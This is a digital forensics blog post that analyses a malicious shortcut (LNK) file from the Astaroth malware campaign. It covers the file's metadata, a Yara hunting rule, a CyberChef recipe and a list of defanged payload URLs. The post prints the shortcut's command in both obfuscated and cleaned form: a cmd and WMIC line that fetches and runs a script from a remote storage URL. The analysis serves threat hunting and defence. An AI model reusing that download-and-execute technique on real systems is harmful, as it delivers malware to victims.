LNK files have a healthy life in DFIR. There is good reason: they are so awesome for analysis. Whether it be linking a user to knowledge of a file, as part of a jump list, or in their use for malicious purposes. In regards to the latter, The MITRE ATT&CK framework describes this as the specific technique: ‘shortcut modification’ (T1023) which is summarised as follows:
Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use Masquerading to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.
Now it seems that LNK files are back (but, really, did they ever go?) On 8 July 2019, Microsoft released a blog post highlighting an Astaroth malware campaign using, in part, a downloader in the form of a malicious LNK file: certidao.htm.lnk. I located a similar sample on Hybrid-Analysis here (SHA256: 82942e3356e6d3017e4952491d2a6d8ce5748cfd15387b5bcaaf45a3cb6cf35a) and thought that I’d take a look to see what intelligence could be derived from the LNK file alone.
The juicy part of the LNK file is in the shortcut tab:
Here we can see the ‘Target’ (normally a direct reference to a file) is a snippet of code, the shortcut will run minimised, and the comment looks like gibberish. Pulling out the actual details of the shortcut using LECmd provides the following:
--- Header ---
Target created: 2010-11-21 03:24:03
Target modified: 2010-11-21 03:24:03
Target accessed: 2010-11-21 03:24:03
File size: 302,592
Flags: HasTargetIdList, HasLinkInfo, HasName, HasArguments, HasIconLocation, IsUnicode, HasExpString
File attributes: FileAttributeArchive
Icon index: 64
Show window: SwShowminnoactive (Display the window as minimized without activating it.)
Name: zvvvje4d5777hiqt2369aIEFLHKnncxmvbvjhsj2567hgeet286daUFFLHrnccmxbbrh2j2667lguet986ddaUFIHJrnnmmxbihsjj466lgukk980ddWYIIHJrbmcx
Arguments: /V /C "set x=C77jhd2766:\\77jhd2766W77jhd2766i77jhd2766nd77jhd2766ow77jhd2766s\\s77jhd2766ys77jhd2766te77jhd2766m377jhd2766277jhd2766\\77jhd2766w77jhd2766b77jhd2766e77jhd2766m\\W77jhd2766M77jhd2766I77jhd2766C.e77jhd2766x77jhd2766e o77jhd2766s g77jhd2766e77jhd2766t UF77jhd2766H77jhd2766K77jhd2766m77jhd2766xi77jhd2766h277jhd2766, fre77jhd2766evi77jhd2766r77jhd2766t77jhd2766u77jhd2766a77jhd2766l77jhd2766me77jhd2766mo77jhd2766ry77jhd2766 /77jhd2766fo77jhd2766rm77jhd2766at:"h77jhd2766t77jhd2766t77jhd2766p77jhd2766s77jhd2766:77jhd2766/77jhd2766/st77jhd2766o77jhd2766r77jhd2766ag77jhd2766e.77jhd2766go77jhd2766og77jhd2766lea77jhd2766pis77jhd2766.co77jhd2766m77jhd2766/77jhd2766a77jhd2766w77jhd2766s77jhd2766d77jhd2766x/77jhd27660977jhd2766/v77jhd2766.t77jhd2766xt77jhd2766#0277jhd276650177jhd27664q277jhd2766977jhd2766I77jhd2766S77jhd2766q77jhd2766c77jhd2766z77jhd2766v" &&echo %x:77jhd2766=%|%ComSpec%"
Icon Location: %SystemRoot%\system32\imageres.dll
--- Link information ---
Flags: VolumeIdAndLocalBasePath
>>Volume information
Drive type: Fixed storage media (Hard drive)
Serial number: 086F96AF
Label: (No label)
Local path: C:\Windows\System32\cmd.exe
--- Target ID information (Format: Type ==> Value) ---
Absolute path: My Computer\C:\Windows\System32\cmd.exe
-Root folder: GUID ==> My Computer
-Drive letter ==> C:
-Directory ==> Windows
Short name: Windows
Modified: 2019-04-30 20:34:24
Extension block count: 1
--------- Block 0 (Beef0004) ---------
Long name: Windows
Created: 2009-07-14 03:20:10
Last access: 2019-04-30 20:34:24
MFT entry/sequence #: 671/1 (0x29F/0x1)
-Directory ==> System32
Short name: System32
Modified: 2019-04-30 18:45:08
Extension block count: 1
--------- Block 0 (Beef0004) ---------
Long name: System32
Created: 2009-07-14 03:20:12
Last access: 2019-04-30 18:45:08
MFT entry/sequence #: 2549/1 (0x9F5/0x1)
-File ==> cmd.exe
Short name: cmd.exe
Modified: 2010-11-21 03:24:04
Extension block count: 1
--------- Block 0 (Beef0004) ---------
Long name: cmd.exe
Created: 2010-11-21 03:24:04
Last access: 2010-11-21 03:24:04
MFT entry/sequence #: 20227/1 (0x4F03/0x1)
--- End Target ID information ---
--- Extra blocks information ---
>> Environment variable data block
Environment variables: %ComSpec%
>> Special folder data block
Special Folder ID: 37
>> Known folder data block
Known folder GUID: 1ac14e77-02e7-4e5d-b744-2eb1ae5198b7 ==> System32
>> Property store data block (Format: GUID\ID Description ==> Value)
46588ae2-4cbc-4338-bbfc-139326986dce\4 SID ==> S-1-5-21-814163198-2266970693-1875007973-1002
>> Tracker database block
Machine ID: dedicado-web
MAC Address: 00:26:b9:fd:e1:82
MAC Vendor: DELL
Creation: 2019-03-21 04:28:56
Volume Droid: 8c78ff20-8b31-44de-bbba-eabca30a81ea
Volume Droid Birth: 8c78ff20-8b31-44de-bbba-eabca30a81ea
File Droid: d73dcd41-4b91-11e9-8dc8-0026b9fde182
File Droid birth: d73dcd41-4b91-11e9-8dc8-0026b9fde182
The full output provides a bunch of useful information. From an immediate incident response perspective, we’d probably go straight to the block of obfuscated code and see what it’s doing. From a glance it looks like a ‘find/replace’ could clean it up substantially:
Arguments: /V /C "set x=C:\\Windows\\system32\\wbem\\WMIC.exe os get UFHKmxih2, freevirtualmemory /format:"https://storage.googleapis.com/awsdx/09/v.txt#025014q29ISqczv" &&echo %x:=%|%ComSpec%"
Job done?
So, what else is there? We have the critical IOC of the path where the LNK file is pointing and we can pivot from there. The best thing about malicious LNK files are the metadata they contain about the attacker’s infrastructure. In this case (amongst other interesting values):
Serial number: 086F96AF
Machine ID: dedicado-web
MAC Address: 00:26:b9:fd:e1:82
MAC Vendor: DELL
These values give information relating to the hardware of the attacker’s infrastructure, including the NetBios name, ‘dedicado-web’, and the MAC address, ‘00:26:b9:fd:e1:82’.
Interestingly we can switch to open source intelligence (aka Google) and lookup ‘dedicado-web’ which led me to a Brazilian VPS of the same name. It has links to the more well-known bulletproof provider OVH. This fits with the overwhelmingly Brazilian focus of the Astaroth campaign.
Yara me this…
But the other data remains useful. Leveraging the data within the LNK file we can hunt for other samples of files that have the same ‘toolmarks’ and see what we come up with. Here, my beginner Yara skills actually come in handy:
rule Astaroth
{
meta:
author = "@mattnotmax"
date = "2019-07-15"
description = "LNK file with a unique MAC address or NETBIOS name in relation to a Astaroth campaign"
reference = "https://www.microsoft.com/security/blog/2019/07/08/dismantling-a-fileless-campaign-microsoft-defender-atp-next-gen-protection-exposes-astaroth-attack/"
sample = "82942e3356e6d3017e4952491d2a6d8ce5748cfd15387b5bcaaf45a3cb6cf35a"
strings:
$mac = {00 26 B9 FD E1 82}
$netbios = "dedicado-web" fullword ascii
condition:
uint16(0) == 0x4c and ($mac or $netbios)
}
Searching on Hybrid-Analysis (aka poor man’s Virus Total) gives a good result of 22 hits, of which 21 had shared samples. These were uploaded between 24 April 2019 and 11 June 2019.
Some of these are tagged with #banload or #apt so the may not be relevant. Processing the group again with LECmd and they appear to be very consistent (edited for screen size):
Truncated Hash | TargetCreated | FileSize | VolumeSerialNumber | MachineID | MachineMACAddress | MACVendor |
---|---|---|---|---|---|---|
018c35d8...fb1131f9 | 2010-11-21 03:24:03 | 302592 | 086F96AF | dedicado-web | 00:26:b9:fd:e1:82 | DELL |
0a810c66...301f9f5d | 2010-11-21 03:24:03 | 302592 | 086F96AF | dedicado-web | 00:26:b9:fd:e1:82 | DELL |
12ad543a...63592ec5 | 2010-11-21 03:24:03 | 302592 | 086F96AF | ns237 | 00:26:b9:fd:e1:82 | DELL |
1a6e71a8...6c4e2e00 | 2010-11-21 03:24:03 | 302592 | 086F96AF | dedicado-web | 00:26:b9:fd:e1:82 | DELL |
441cd985...60b49a54 | 2010-11-21 03:24:03 | 302592 | 086F96AF | ns237 | 00:26:b9:fd:e1:82 | DELL |
5694add6...2f1f7888 | 2010-11-21 03:24:03 | 302592 | 086F96AF | dedicado-web | 00:26:b9:fd:e1:82 | DELL |
57603915...8bccc5a2 | 2010-11-21 03:24:03 | 302592 | 086F96AF | dedicado-web | 00:26:b9:fd:e1:82 | DELL |
589fd0b6...277a0d87 | 2010-11-21 03:24:03 | 302592 | 086F96AF | dedicado-web | 00:26:b9:fd:e1:82 | DELL |
5a7fb5e6...4a99e795 | 2010-11-21 03:24:03 | 302592 | 086F96AF | dedicado-web | 00:26:b9:fd:e1:82 | DELL |
8156fd98...1df9b7ed | 2010-11-21 03:24:03 | 302592 | 086F96AF | ns237 | 00:26:b9:fd:e1:82 | DELL |
82942e33...cb6cf35a | 2010-11-21 03:24:03 | 302592 | 086F96AF | dedicado-web | 00:26:b9:fd:e1:82 | DELL |
862fcf17...5fed9048 | 2010-11-21 03:24:03 | 302592 | 086F96AF | dedicado-web | 00:26:b9:fd:e1:82 | DELL |
98ffca4f...e720dc16 | 2010-11-21 03:24:03 | 302592 | 086F96AF | dedicado-web | 00:26:b9:fd:e1:82 | DELL |
ab3a338d...fe030518 | 2010-11-21 03:24:03 | 302592 | 086F96AF | dedicado-web | 00:26:b9:fd:e1:82 | DELL |
c783a629...15af9228 | 2010-11-21 03:24:03 | 302592 | 086F96AF | dedicado-web | 00:26:b9:fd:e1:82 | DELL |
ca8757ed...b86eb751 | 2010-11-21 03:24:03 | 302592 | 086F96AF | ns237 | 00:26:b9:fd:e1:82 | DELL |
cf67b1fb...9e93ec14 | 2010-11-21 03:24:03 | 302592 | 086F96AF | dedicado-web | 00:26:b9:fd:e1:82 | DELL |
dde556d6...71c7ab44 | 2010-11-21 03:24:03 | 302592 | 086F96AF | dedicado-web | 00:26:b9:fd:e1:82 | DELL |
e2239cd4...e18d9dbd | 2010-11-21 03:24:03 | 302592 | 086F96AF | ns237 | 00:26:b9:fd:e1:82 | DELL |
e239a967...71a2c2ef | 2010-11-21 03:24:03 | 302592 | 086F96AF | ns237 | 00:26:b9:fd:e1:82 | DELL |
f2d0cdbf...044ccbb5 | 2010-11-21 03:24:03 | 302592 | 086F96AF | ns237 | 00:26:b9:fd:e1:82 | DELL |
The similar results in the above table is also matched in a review of the in-line code which has the same obfuscation as the first example. It’s no secret I am a fan of CyberChef and using the forks, registers, and some regex the relevant URLs can be extracted from the in-line code:
[{"op":"Fork","args":["\\n","\\n",true]},{"op":"Register","args":["(?<=echo %x:)(.*)(?=\\=)",true,false,false]},{"op":"Find / Replace","args":[{"option":"Regex","string":"$R0"},"",true,false,true,false]},{"op":"Find / Replace","args":[{"option":"Simple string","string":"[]"},"",true,false,true,false]},{"op":"Extract URLs","args":[false]},{"op":"Defang URL","args":[true,true,false,"Everything"]},{"op":"Remove whitespace","args":[true,true,true,true,true,false]}]
Becomes…
hxxp://storage[.]googleapis[.]com/midgoldem/09/v[.]txt#025040xiuj6rl9d
hxxp://storage[.]googleapis[.]com/midgoldem/09/v[.]txt#025070xbhj6luk0
hxxp://storage[.]googleapis[.]com/xmoabx/04/v[.]txt#025051IJrmxxmir
hxxp://e8aUHrmmr[.]intelcore-i1[.]website:25/9/?13825xmuj8luk
hxxp://storage[.]googleapis[.]com/midgoldem/06/v[.]txt#025038Knmbj2257
hxxps://storage[.]googleapis[.]com/awsdx/09/v[.]txt#025050nmble0aUH
hxxps://storage[.]googleapis[.]com/ultramaker/09/v[.]txt#025010bvrhj267l
hxxps://storage[.]googleapis[.]com/ultramaker/09/v[.]txt#025060xjuf7hrl3
hxxps://storage[.]googleapis[.]com/ultramaker/09/v[.]txt#025060aIUIHKrnc
hxxp://storage[.]googleapis[.]com/kodesca/08/v[.]txt#025028jd3ISnxvj
hxxps://storage[.]googleapis[.]com/awsdx/09/v[.]txt#025014q29ISqczv
hxxps://storage[.]googleapis[.]com/ultramaker/08/v[.]txt#025018ef7hil69I
hxxps://storage[.]googleapis[.]com/awsdx/09/v[.]txt#025060jsf7il36h
hxxp://storage[.]googleapis[.]com/teslaasth/09/v[.]txt#025050ELKqxmvjd
hxxps://storage[.]googleapis[.]com/awsdx/09/v[.]txt#0250800UHbcbrs4
hxxp://storage[.]googleapis[.]com/kodesca/09/v[.]txt#025091e6UHrcxvs
hxxp://q39ESqczv[.]intelcore-i5[.]site:25020/09/?138025020qixvj22h
hxxps://storage[.]googleapis[.]com/ultramaker/06/v[.]txt#0250906uk8dWUIJ
hxxp://storage[.]googleapis[.]com/kodesca/04/v[.]txt#025058il39ELvmd
hxxp://storage[.]googleapis[.]com/kodesca/06/v[.]txt#025022e986IJrmc
hxxp://storage[.]googleapis[.]com/midgoldem/06/v[.]txt#025055rmxvs26ge
Don’t take my word for it…
The above is slightly contrived, in that we only were able to look back a couple of months, and are getting results from probably the same Astaroth campaign. Sure, we probably could have written a different Yara rule and got similar (or more) results; however, the power of LNK file metadata is long-term tracking of threat actors who re-use the same files, and transfer their metadata from campaign x to campaign y. This ‘crude’ example is a good demonstration of using this technique.
This tactic was nicely demonstrated in late-2018 through Fireeye’s outing of Cozy Bear’s reuse of a LNK file from 2016 which is detailed here: Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign
Other sources of great information are numerous entries in Harlan Carvey’s Windows Incident Response blog: Parsing the Cozy Bear LNK File LNK Files A Minimal LNK LNK Files In The Wild LNK “Toolmarks” and more…
A big thanks to Harlan for recent discussions I had with him on this issue, and his assistance.
Further research
There is plenty to research in LNK files. For example, what ‘toolmarks’ (if any) do the various exploitation frameworks produce when they create malicious LNK files? A parallel to the accidental ‘extraneous space’ that Cobalt Strike placed in the HTTP status response that allowed FOX-IT (and possibly others) to track malicious server infrastructure.
Another avenue might be to look at how LNK files are created manually, through the GUI, or through the API and what differences there might be in creation and editing.
If you have any ideas, then let me know, either via [email protected] or via @mattnotmax. Thanks for reading!